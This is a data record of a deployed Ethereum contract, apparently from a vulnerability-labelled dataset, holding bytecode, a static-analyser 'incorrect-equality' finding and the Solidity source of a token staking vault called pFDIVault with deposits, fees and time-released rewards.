106122e657610100808354040283529160200191612311565b820191906000526020600020905b8154815290600101906020018083116122f457829003601f168201915b50505060008981526012602052604090208054909250879150811061233257fe5b600091825260209182902001805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156123c05780601f10612395576101008083540402835291602001916123c0565b820191906000526020600020905b8154815290600101906020018083116123a357829003601f168201915b505050505086612b0e565b6001016121f2565b506000828152600e602052604090819020829055517f9a2e42fd6722813d69113e7d0079d3d940171428df7373df9c7f7617cfda2892906116db9084908490613d31565b601a60209081526000928352604080842090915290825290205460ff1681565b60008281526019602090815260408083206001600160a01b039490941680845293825280832054858452601a8352818420858552835281842054958452601b83528184209484529390915290205460ff9182169391909216916001600160601b031690565b6004546001600160a01b0316331480156124b557503315155b6124d15760405162461bcd60e51b8152600401610a24906139fe565b60048054600380546001600160a01b03199081166001600160a01b03841617909155169055565b600a5481565b601d6020526000908152604090205460ff1681565b6001546001600160a01b031681565b601e60405161253090613684565b908152602001604051809103902054612548826111e4565b146125655760405162461bcd60e51b8152600401610a2490613b37565b6000818152601860205260408120805460ff191660011790555b6000828152600f6020526040902054811015612771576000828152600f6020526040902080546127689190839081106125b457fe5b60009182526020808320909101548583526010909152604090912080546001600160a01b0390921691849081106125e757fe5b906000526020600020015460116000868152602001908152602001600020848154811061261057fe5b600091825260209182902001805460408051601f600260001961010060018716150201909416939093049283018590048502810185019091528181529283018282801561269e5780601f106126735761010080835404028352916020019161269e565b820191906000526020600020905b81548152906001019060200180831161268157829003601f168201915b5050506000888152601260205260409020805490925087915081106126bf57fe5b600091825260209182902001805460408051601f600260001961010060018716150201909416939093049283018590048502810185019091528181529283018282801561274d5780601f106127225761010080835404028352916020019161274d565b820191906000526020600020905b81548152906001019060200180831161273057829003601f168201915b5050506000898152600e60205260409020549150612b869050565b5060010161257f565b507f712ae1383f79ac853f8d882153778e0260ef8f03b504e2866e0593e04d2b291f816040516127a19190613c53565b60405180910390a150565b600054600160a01b900460ff1681565b6000828201838110156127e15760405162461bcd60e51b8152600401610a2490613931565b90505b92915050565b60006127e183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612d5f565b60008585858585604051602001612847959493929190613741565b60408051601f1981840301815282825280516020918201206000818152601d909252919020805460ff1916905591506001600160a01b0387169082907f823ab24d921488c1644a7cc13dab2df44d40887e849890fc6a86effa299c9d1d906128b6908990899089908990613cf4565b60405180910390a3505050505050565b601e6040516128d4906136be565b9081526020016040518091039020546128ec836111e4565b146129095760405162461bcd60e51b8152600401610a2490613a54565b60008281526019602090815260408083206001600160a01b038716845290915290205460ff161561294c5760405162461bcd60e51b8152600401610a249061390a565b600080548382526013602052604080832054905163916c435f60e01b81526001600160a01b039092169163916c435f9161298b918891906004016136f7565b60206040518083038186803b1580156129a357600080fd5b505afa1580156129b7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906129db91906134e3565b90508115612a1957600083815260156020526040902054612a05906001600160601b0383166127bc565b600084815260156020526040902055612a4b565b600083815260166020526040902054612a3b906001600160601b0383166127bc565b6000848152601660205260409020555b60008381526019602090815260408083206001600160a01b0388168085529083528184208054600160ff1991821617909155878552601a845282852082865284528285208054909116871515179055868452601b83528184209084529091529081902080546bffffffffffffffffffffffff19166001600160601b038416179055517f9fea94799b68dbb994c4e44547ea7b5c9e4068fbc385b8b688005a16b60c3cc690612b00908690869086908690613710565b60405180910390a150505050565b601d60008686868686604051602001612b2b959493929190613741565b60408051601f198184030181529181528151602092830120835290820192909252016000205460ff1615612b715760405162461bcd60e51b8152600401610a2490613b08565b612b7e8585858585612d8b565b505050505050565b606060008686868686604051602001612ba3959493929190613741565b60408051601f1981840301815291815281516020928301206000818152601d90935291205490915060ff16612bea5760405162461bcd60e51b8152600401610a2490613b37565b82421015612c0a5760405162461bcd60e51b8152600401610a2490613c06565b600b54612c189084906127bc565b421115612c375760405162461bcd60e51b8152600401610a2490613992565b6000818152601d60205260409020805460ff191690558451606090612c5d575083612c89565b858051906020012085604051602001612c779291906135fb565b60405160208183030381529060405290505b60006060896001600160a01b03168984604051612ca6919061362c565b60006040518083038185875af1925050503d8060008114612ce3576040519150601f19603f3d011682016040523d82523d6000602084013e612ce8565b606091505b509150915081612d0a5760405162461bcd60e51b8152600401610a2490613adc565b896001600160a01b0316847fae7b1f84eb1b45a5f46a86b5895ec3bf0c66f223fa8185dc777fc81d6a9602c28b8b8b8b604051612d4a9493929190613cf4565b60405180910390a39998505050505050505050565b60008184841115612d835760405162461bcd60e51b8152600401610a249190613824565b505050900390565b6000612da2600a54426127bc90919063ffffffff16565b821015612dc15760405162461bcd60e51b8152600401610a2490613860565b60008686868686604051602001612ddc959493929190613741565b60408051601f1981840301815282825280516020918201206000818152601d909252919020805460ff1916600117905591506001600160a01b0388169082907fc91d82514b5af1b7f210f0c8ed6d0a832e34eefd3ca60d3d909a4cff1d248f6590612e4e908a908a908a908a90613cf4565b60405180910390a39695505050505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10612ea157805160ff1916838001178555612ece565b82800160010185558215612ece579182015b82811115612ece578251825591602001919060010190612eb3565b50612eda92915061302b565b5090565b828054828255906000526020600020908101928215612f33579160200282015b82811115612f3357825182546001600160a01b0319166001600160a01b03909116178255602090920191600190910190612efe565b50612eda929150613040565b828054828255906000526020600020908101928215612ece5791602002820182811115612ece578251825591602001919060010190612eb3565b828054828255906000526020600020908101928215612fc6579160200282015b82811115612fc65782518051612fb6918491602090910190612e60565b5091602001919060010190612f99565b50612eda92915061305f565b82805482825590600052602060002090810192821561301f579160200282015b8281111561301f578251805161300f918491602090910190612e60565b5091602001919060010190612ff2565b50612eda92915061307c565b5b80821115612eda576000815560010161302c565b5b80821115612eda5780546001600160a01b0319168155600101613041565b80821115612eda5760006130738282613099565b5060010161305f565b80821115612eda5760006130908282613099565b5060010161307c565b50805460018160011615610100020316600290046000825580601f106130bf57506130dd565b601f0160209004906000526020600020908101906130dd919061302b565b50565b80356001600160a01b03811681146127e457600080fd5b600082601f830112613107578081fd5b813561311a61311582613d7a565b613d53565b81815291506020808301908481018184028601820187101561313b57600080fd5b60005b848110156131625761315088836130e0565b8452928201929082019060010161313e565b505050505092915050565b600082601f83011261317d578081fd5b813561318b61311582613d7a565b818152915060208083019084810160005b84811015613162576131b3888484358a010161327b565b8452928201929082019060010161319c565b600082601f8301126131d5578081fd5b81356131e361311582613d7a565b818152915060208083019084810160005b848110156131625761320b888484358a010161327b565b845292820192908201906001016131f4565b600082601f83011261322d578081fd5b813561323b61311582613d7a565b81815291506020808301908481018184028601820187101561325c57600080fd5b60005b848110156131625781358452928201929082019060010161325f565b600082601f83011261328b578081fd5b813567ffffffffffffffff8111156132a1578182fd5b6132b4601f8201601f1916602001613d53565b91508082528360208285010111156132cb57600080fd5b8060208401602084013760009082016020015292915050565b6000602082840312156132f5578081fd5b6127e183836130e0565b600080600060608486031215613313578182fd5b61331d85856130e0565b925061332c85602086016130e0565b915061333b85604086016130e0565b90509250925092565b600080600080600060a0868803121561335b578081fd5b853567ffffffffffffffff80821115613372578283fd5b61337e89838a016130f7565b96506020880135915080821115613393578283fd5b61339f89838a0161321d565b955060408801359150808211156133b4578283fd5b6133c089838a016131c5565b945060608801359150808211156133d5578283fd5b6133e189838a0161316d565b935060808801359150808211156133f6578283fd5b506134038882890161327b565b9150509295509295909350565b600060208284031215613421578081fd5b5035919050565b600060208284031215613439578081fd5b813567ffffffffffffffff81111561344f578182fd5b61345b8482850161327b565b949350505050565b60008060408385031215613475578182fd5b8235915061348684602085016130e0565b90509250929050565b600080604083850312156134a1578182fd5b82359150602083013580151581146134b7578182fd5b809150509250929050565b600080604083850312156134d4578182fd5b50508035926020909101359150565b6000602082840312156134f4578081fd5b81516001600160601b03811681146127e1578182fd5b6000815180845260208085019450808401835b838110156135425781516001600160a01b03168752958201959082019060010161351d565b509495945050505050565b6000815180845260208085018081965082840281019150828601855b858110156135935782840389526135818483516135cf565b98850198935090840190600101613569565b5091979650505050505050565b6000815180845260208085019450808401835b83811015613542578151875295820195908201906001016135b3565b600081518084526135e7816020860160208601613d9a565b601f01601f19169290920160200192915050565b6001600160e01b031983168152815160009061361e816004850160208701613d9a565b919091016004019392505050565b6000825161363e818460208701613d9a565b9190910192915050565b67115e1958dd5d195960c21b815260080190565b6814dd58d8d95959195960ba1b815260090190565b6650656e64696e6760c81b815260070190565b65145d595d595960d21b815260060190565b6711195999585d195960c21b815260080190565b6710d85b98d95b195960c21b815260080190565b6541637469766560d01b815260060190565b66115e1c1a5c995960ca1b815260070190565b6001600160a01b0391909116815260200190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b039490941684526020840192909252151560408301526001600160601b0316606082015260800190565b600060018060a01b038716825285602083015260a0604083015261376860a08301866135cf565b828103606084015261377a81866135cf565b9150508260808301529695505050505050565b6000608082526137a0608083018761350a565b82810360208401526137b281876135a0565b905082810360408401526137c6818661354d565b905082810360608401526137da818561354d565b979650505050505050565b6000602082526127e1602083018461354d565b901515815260200190565b921515835290151560208301526001600160601b0316604082015260600190565b6000602082526127e160208301846135cf565b6020808252600f908201526e18995b1bddc81d1a1c995cda1bdb19608a1b604082015260600190565b60208082526018908201527f6e6f74207361746973667920717565756520706572696f640000000000000000604082015260600190565b6020808252600e908201526d0c2e4d2e8f240dad2e6dac2e8c6d60931b604082015260600190565b6020808252601390820152721a5b9d985b1a59081c1c9bdc1bdcd85b081a59606a1b604082015260600190565b6020808252600490820152637a65726f60e01b604082015260600190565b6020808252600d908201526c185b1c9958591e481d9bdd1959609a1b604082015260600190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b60208082526010908201526f746f6f206d616e7920616374696f6e7360801b604082015260600190565b6020808252600590820152647374616c6560d81b604082015260600190565b602080825260099082015268696e697420646f6e6560b81b604082015260600190565b60208082526010908201526f3737ba103832b73234b733a0b236b4b760811b604082015260600190565b6020808252601590820152743737ba103832b73234b733a9bab832b920b236b4b760591b604082015260600190565b6020808252600d908201526c1b9bdd081cdd58d8d959591959609a1b604082015260600190565b6020808252600d908201526c1d9bdd1a5b99c818db1bdcd959609a1b604082015260600190565b60208082526010908201526f185b1c9958591e48195e1958dd5d195960821b604082015260600190565b60208082526017908201527f616c7265616479206163746976652070726f706f73616c000000000000000000604082015260600190565b602080825260129082015271195e1958dd5d1a5bdb881c995d995c9d195960721b604082015260600190565b602080825260159082015274616c7265616479207175657565642061742065746160581b604082015260600190565b6020808252600a90820152691b9bdd081c5d595d595960b21b604082015260600190565b60208082526018908201527f616c72656164792070656e64696e672070726f706f73616c0000000000000000604082015260600190565b6020808252600e908201526d3737ba1039bab832b920b236b4b760911b604082015260600190565b6020808252600f908201526e6d697373696e6720616374696f6e7360881b604082015260600190565b6020808252600990820152683737ba1030b236b4b760b91b604082015260600190565b6020808252600c908201526b6e6f7420706173742065746160a01b604082015260600190565b6020808252600d908201526c0d2dcecc2d8d2c840d2dcc8caf609b1b604082015260600190565b90815260200190565b8981526001600160a01b038916602082015261012060408201819052600090613c878382018b61350a565b90508281036060840152613c9b818a6135a0565b90508281036080840152613caf818961354d565b905082810360a0840152613cc3818861354d565b90508560c08401528460e0840152828103610100840152613ce481856135cf565b9c9b505050505050505050505050565b600085825260806020830152613d0d60808301866135cf565b8281036040840152613d1f81866135cf565b91505082606083015295945050505050565b918252602082015260400190565b6001600160601b0391909116815260200190565b60405181810167ffffffffffffffff81118282101715613d7257600080fd5b604052919050565b600067ffffffffffffffff821115613d90578081fd5b5060209081020190565b60005b83811015613db5578181015183820152602001613d9d565b83811115613dc4576000848401525b5050505056fea03837a25210ee280c2113ff4b77ca23440b19d4866cca721c801278fd08d807a26469706673582212206e417dd5665fbc9d890a8db74b4f570959926e998d42d4e20362e44acd4c35b364736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}} | 9,901 |
0x59d4082ea093060f99b652493fdf0d02f12e518e | /**
*Submitted for verification at Etherscan.io on 2020-11-12
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.7.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call{ value : amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract pFDIVault {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
struct RewardDivide {
uint256 amount;
uint256 startTime;
uint256 checkTime;
}
string public _vaultName;
IERC20 public token0;
IERC20 public token1;
address public feeAddress;
address public vaultAddress;
uint32 public feePermill = 5;
uint256 public delayDuration = 7 days;
bool public withdrawable;
address public gov;
uint256 public totalDeposit;
mapping(address => uint256) public depositBalances;
mapping(address => uint256) public rewardBalances;
address[] public addressIndices;
mapping(uint256 => RewardDivide) public _rewards;
uint256 public _rewardCount;
event SentReward(uint256 amount);
event Deposited(address indexed user, uint256 amount);
event ClaimedReward(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
constructor (address _token0, address _token1, address _feeAddress, address _vaultAddress, string memory name) {
token0 = IERC20(_token0);
token1 = IERC20(_token1);
feeAddress = _feeAddress;
vaultAddress = _vaultAddress;
_vaultName = name;
gov = msg.sender;
}
modifier onlyGov() {
require(msg.sender == gov, "!governance");
_;
}
function setGovernance(address _gov)
external
onlyGov
{
gov = _gov;
}
function setToken0(address _token)
external
onlyGov
{
token0 = IERC20(_token);
}
function setToken1(address _token)
external
onlyGov
{
token1 = IERC20(_token);
}
function setFeeAddress(address _feeAddress)
external
onlyGov
{
feeAddress = _feeAddress;
}
function setVaultAddress(address _vaultAddress)
external
onlyGov
{
vaultAddress = _vaultAddress;
}
function setFeePermill(uint32 _feePermill)
external
onlyGov
{
feePermill = _feePermill;
}
function setDelayDuration(uint32 _delayDuration)
external
onlyGov
{
delayDuration = _delayDuration;
}
function setWithdrawable(bool _withdrawable)
external
onlyGov
{
withdrawable = _withdrawable;
}
function setVaultName(string memory name)
external
onlyGov
{
_vaultName = name;
}
function balance0()
public
view
returns (uint256)
{
return token0.balanceOf(address(this));
}
function balance1()
public
view
returns (uint256)
{
return token1.balanceOf(address(this));
}
function rewardUpdate()
public
{
if (_rewardCount > 0 && totalDeposit > 0) {
uint256 i;
uint256 j;
for (i = _rewardCount - 1; _rewards[i].startTime < block.timestamp; --i) {
uint256 duration;
if (block.timestamp.sub(_rewards[i].startTime) > delayDuration) {
duration = _rewards[i].startTime.add(delayDuration).sub(_rewards[i].checkTime);
_rewards[i].startTime = uint256(-1);
} else {
duration = block.timestamp.sub(_rewards[i].checkTime);
}
_rewards[i].checkTime = block.timestamp;
uint256 timedAmount = _rewards[i].amount.mul(duration).div(delayDuration);
uint256 addAmount;
for (j = 0; j < addressIndices.length; j++) {
addAmount = timedAmount.mul(depositBalances[addressIndices[j]]).div(totalDeposit);
rewardBalances[addressIndices[j]] = rewardBalances[addressIndices[j]].add(addAmount);
}
if (i == 0) {
break;
}
}
}
}
function depositAll()
external
{
deposit(token0.balanceOf(msg.sender));
}
function deposit(uint256 _amount)
public
{
require(_amount > 0, "can't deposit 0");
rewardUpdate();
uint256 arrayLength = addressIndices.length;
bool found = false;
for (uint256 i = 0; i < arrayLength; i++) {
if (addressIndices[i]==msg.sender){
found=true;
break;
}
}
if(!found){
addressIndices.push(msg.sender);
}
uint256 feeAmount = _amount.mul(feePermill).div(1000);
uint256 realAmount = _amount.sub(feeAmount);
token0.safeTransferFrom(msg.sender, feeAddress, feeAmount);
token0.safeTransferFrom(msg.sender, vaultAddress, realAmount);
totalDeposit = totalDeposit.add(realAmount);
depositBalances[msg.sender] = depositBalances[msg.sender].add(realAmount);
emit Deposited(msg.sender, realAmount);
}
function sendReward(uint256 _amount)
external
{
require(_amount > 0, "can't reward 0");
require(totalDeposit > 0, "totalDeposit must bigger than 0");
token1.safeTransferFrom(msg.sender, address(this), _amount);
rewardUpdate();
_rewards[_rewardCount].amount = _amount;
_rewards[_rewardCount].startTime = block.timestamp;
_rewards[_rewardCount].checkTime = block.timestamp;
_rewardCount++;
emit SentReward(_amount);
}
function claimRewardAll()
external
{
claimReward(uint256(-1));
}
function claimReward(uint256 _amount)
public
{
require(_rewardCount > 0, "no reward amount");
rewardUpdate();
if (_amount > rewardBalances[msg.sender]) {
_amount = rewardBalances[msg.sender];
}
require(_amount > 0, "can't claim reward 0");
token1.safeTransfer(msg.sender, _amount);
rewardBalances[msg.sender] = rewardBalances[msg.sender].sub(_amount);
emit ClaimedReward(msg.sender, _amount);
}
function withdrawAll()
external
{
withdraw(uint256(-1));
}
function withdraw(uint256 _amount)
public
{
require(token0.balanceOf(address(this)) > 0, "no withdraw amount");
require(withdrawable, "not withdrawable");
rewardUpdate();
if (_amount > depositBalances[msg.sender]) {
_amount = depositBalances[msg.sender];
}
require(_amount > 0, "can't withdraw 0");
token0.safeTransfer(msg.sender, _amount);
depositBalances[msg.sender] = depositBalances[msg.sender].sub(_amount);
totalDeposit = totalDeposit.sub(_amount);
emit Withdrawn(msg.sender, _amount);
}
function availableRewardAmount(address owner)
public
view
returns(uint256)
{
uint256 i;
uint256 availableReward = rewardBalances[owner];
if (_rewardCount > 0 && totalDeposit > 0) {
for (i = _rewardCount - 1; _rewards[i].startTime < block.timestamp; --i) {
uint256 duration;
if (block.timestamp.sub(_rewards[i].startTime) > delayDuration) {
duration = _rewards[i].startTime.add(delayDuration).sub(_rewards[i].checkTime);
} else {
duration = block.timestamp.sub(_rewards[i].checkTime);
}
uint256 timedAmount = _rewards[i].amount.mul(duration).div(delayDuration);
uint256 addAmount = timedAmount.mul(depositBalances[owner]).div(totalDeposit);
availableReward = availableReward.add(addAmount);
if (i == 0) {
break;
}
}
}
return availableReward;
}
} | 0x608060405234801561001057600080fd5b50600436106102115760003560e01c8063a7df8c5711610125578063c78b6dea116100ad578063de5f62681161007c578063de5f6268146105da578063e2aa2a85146105e2578063e835dfbd146105ea578063f6153ccd146105f2578063fab980b7146105fa57610211565b8063c78b6dea14610573578063cbeb7ef214610590578063d21220a7146105af578063d86e1ef7146105b757610211565b8063b6b55f25116100f4578063b6b55f25146104df578063b79ea884146104fc578063b8f7928814610522578063c45c4f5814610545578063c6e426bd1461054d57610211565b8063a7df8c5714610477578063ab033ea914610494578063ae169a50146104ba578063b5984a36146104d757610211565b806344264d3d116101a857806385535cc51161017757806385535cc5146103a45780638705fcd4146103ca5780638d96bdbe146103f05780638f1e94051461041657806393c8dc6d1461045157610211565b806344264d3d146103575780635018830114610378578063637830ca14610394578063853828b61461039c57610211565b80631eb903cf116101e45780631eb903cf146103045780632e1a7d4d1461032a5780634127535814610347578063430bf08a1461034f57610211565b80630dfe16811461021657806311cc66b21461023a57806312d43a51146102e25780631c69ad00146102ea575b600080fd5b61021e610677565b604080516001600160a01b039092168252519081900360200190f35b6102e06004803603602081101561025057600080fd5b81019060208101813564010000000081111561026b57600080fd5b82018360208201111561027d57600080fd5b8035906020019184600183028401116401000000008311171561029f57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610686945050505050565b005b61021e6106ef565b6102f2610703565b60408051918252519081900360200190f35b6102f26004803603602081101561031a57600080fd5b50356001600160a01b031661077f565b6102e06004803603602081101561034057600080fd5b5035610791565b61021e61099c565b61021e6109ab565b61035f6109ba565b6040805163ffffffff9092168252519081900360200190f35b6103806109cd565b604080519115158252519081900360200190f35b6102e06109d6565b6102e06109e3565b6102e0600480360360208110156103ba57600080fd5b50356001600160a01b03166109ee565b6102e0600480360360208110156103e057600080fd5b50356001600160a01b0316610a62565b6102f26004803603602081101561040657600080fd5b50356001600160a01b0316610ad6565b6104336004803603602081101561042c57600080fd5b5035610c35565b60408051938452602084019290925282820152519081900360600190f35b6102f26004803603602081101561046757600080fd5b50356001600160a01b0316610c56565b61021e6004803603602081101561048d57600080fd5b5035610c68565b6102e0600480360360208110156104aa57600080fd5b50356001600160a01b0316610c8f565b6102e0600480360360208110156104d057600080fd5b5035610d09565b6102f2610e4d565b6102e0600480360360208110156104f557600080fd5b5035610e53565b6102e06004803603602081101561051257600080fd5b50356001600160a01b0316611030565b6102e06004803603602081101561053857600080fd5b503563ffffffff166110a4565b6102f261111c565b6102e06004803603602081101561056357600080fd5b50356001600160a01b0316611167565b6102e06004803603602081101561058957600080fd5b50356111db565b6102e0600480360360208110156105a657600080fd5b5035151561130c565b61021e611371565b6102e0600480360360208110156105cd57600080fd5b503563ffffffff16611380565b6102e06113dd565b6102f261145a565b6102e0611460565b6102f261164d565b610602611653565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561063c578181015183820152602001610624565b50505050905090810190601f1680156106695780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6001546001600160a01b031681565b60065461010090046001600160a01b031633146106d8576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b80516106eb906000906020840190611bc8565b5050565b60065461010090046001600160a01b031681565b600154604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561074e57600080fd5b505afa158015610762573d6000803e3d6000fd5b505050506040513d602081101561077857600080fd5b5051905090565b60086020526000908152604090205481565b600154604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156107dc57600080fd5b505afa1580156107f0573d6000803e3d6000fd5b505050506040513d602081101561080657600080fd5b50511161084f576040805162461bcd60e51b81526020600482015260126024820152711b9bc81dda5d1a191c985dc8185b5bdd5b9d60721b604482015290519081900360640190fd5b60065460ff16610899576040805162461bcd60e51b815260206004820152601060248201526f6e6f7420776974686472617761626c6560801b604482015290519081900360640190fd5b6108a1611460565b336000908152600860205260409020548111156108ca5750336000908152600860205260409020545b60008111610912576040805162461bcd60e51b815260206004820152601060248201526f063616e277420776974686472617720360841b604482015290519081900360640190fd5b600154610929906001600160a01b031633836116e1565b336000908152600860205260409020546109439082611738565b336000908152600860205260409020556007546109609082611738565b60075560408051828152905133917f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5919081900360200190a250565b6003546001600160a01b031681565b6004546001600160a01b031681565b600454600160a01b900463ffffffff1681565b60065460ff1681565b6109e1600019610d09565b565b6109e1600019610791565b60065461010090046001600160a01b03163314610a40576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600480546001600160a01b0319166001600160a01b0392909216919091179055565b60065461010090046001600160a01b03163314610ab4576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600380546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038116600090815260096020526040812054600c5482919015801590610b0557506000600754115b15610c2e576001600c540391505b6000828152600b6020526040902060010154421115610c2e576005546000838152600b6020526040812060010154909190610b4f904290611738565b1115610b8c576000838152600b602052604090206002810154600554600190920154610b8592610b7f9190611783565b90611738565b9050610bac565b6000838152600b6020526040902060020154610ba9904290611738565b90505b6005546000848152600b60205260408120549091610bd491610bce90856117dd565b90611836565b6007546001600160a01b03881660009081526008602052604081205492935091610c049190610bce9085906117dd565b9050610c108482611783565b935084610c1f57505050610c2e565b50506000199092019150610b13565b9392505050565b600b6020526000908152604090208054600182015460029092015490919083565b60096020526000908152604090205481565b600a8181548110610c7557fe5b6000918252602090912001546001600160a01b0316905081565b60065461010090046001600160a01b03163314610ce1576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600680546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6000600c5411610d53576040805162461bcd60e51b815260206004820152601060248201526f1b9bc81c995dd85c9908185b5bdd5b9d60821b604482015290519081900360640190fd5b610d5b611460565b33600090815260096020526040902054811115610d845750336000908152600960205260409020545b60008111610dd0576040805162461bcd60e51b8152602060048201526014602482015273063616e277420636c61696d2072657761726420360641b604482015290519081900360640190fd5b600254610de7906001600160a01b031633836116e1565b33600090815260096020526040902054610e019082611738565b33600081815260096020908152604091829020939093558051848152905191927fd0813ff03c470dcc7baa9ce36914dc2febdfd276d639deffaac383fd3db42ba392918290030190a250565b60055481565b60008111610e9a576040805162461bcd60e51b815260206004820152600f60248201526e063616e2774206465706f736974203608c1b604482015290519081900360640190fd5b610ea2611460565b600a546000805b82811015610ef457336001600160a01b0316600a8281548110610ec857fe5b6000918252602090912001546001600160a01b03161415610eec5760019150610ef4565b600101610ea9565b5080610f3d57600a80546001810182556000919091527fc65a7bb8d6351c1cf70c95a316cc6a92839c986682d98bc35f958f4883f9d2a80180546001600160a01b031916331790555b600454600090610f67906103e890610bce90879063ffffffff600160a01b9091048116906117dd16565b90506000610f758583611738565b600354600154919250610f97916001600160a01b039081169133911685611878565b600454600154610fb6916001600160a01b039182169133911684611878565b600754610fc39082611783565b60075533600090815260086020526040902054610fe09082611783565b33600081815260086020908152604091829020939093558051848152905191927f2da466a7b24304f47e87fa2e1e5a81b9831ce54fec19055ce277ca2f39ba42c492918290030190a25050505050565b60065461010090046001600160a01b03163314611082576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600280546001600160a01b0319166001600160a01b0392909216919091179055565b60065461010090046001600160a01b031633146110f6576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6004805463ffffffff909216600160a01b0263ffffffff60a01b19909216919091179055565b600254604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561074e57600080fd5b60065461010090046001600160a01b031633146111b9576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b60008111611221576040805162461bcd60e51b815260206004820152600e60248201526d063616e27742072657761726420360941b604482015290519081900360640190fd5b600060075411611278576040805162461bcd60e51b815260206004820152601f60248201527f746f74616c4465706f736974206d75737420626967676572207468616e203000604482015290519081900360640190fd5b600254611290906001600160a01b0316333084611878565b611298611460565b600c80546000908152600b60209081526040808320859055835483528083204260019182018190558554855293829020600201939093558354909201909255805183815290517feae918ad14bd0bcaa9f9d22da2b810c02f44331bf6004a76f049a3360891f916929181900390910190a150565b60065461010090046001600160a01b0316331461135e576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6006805460ff1916911515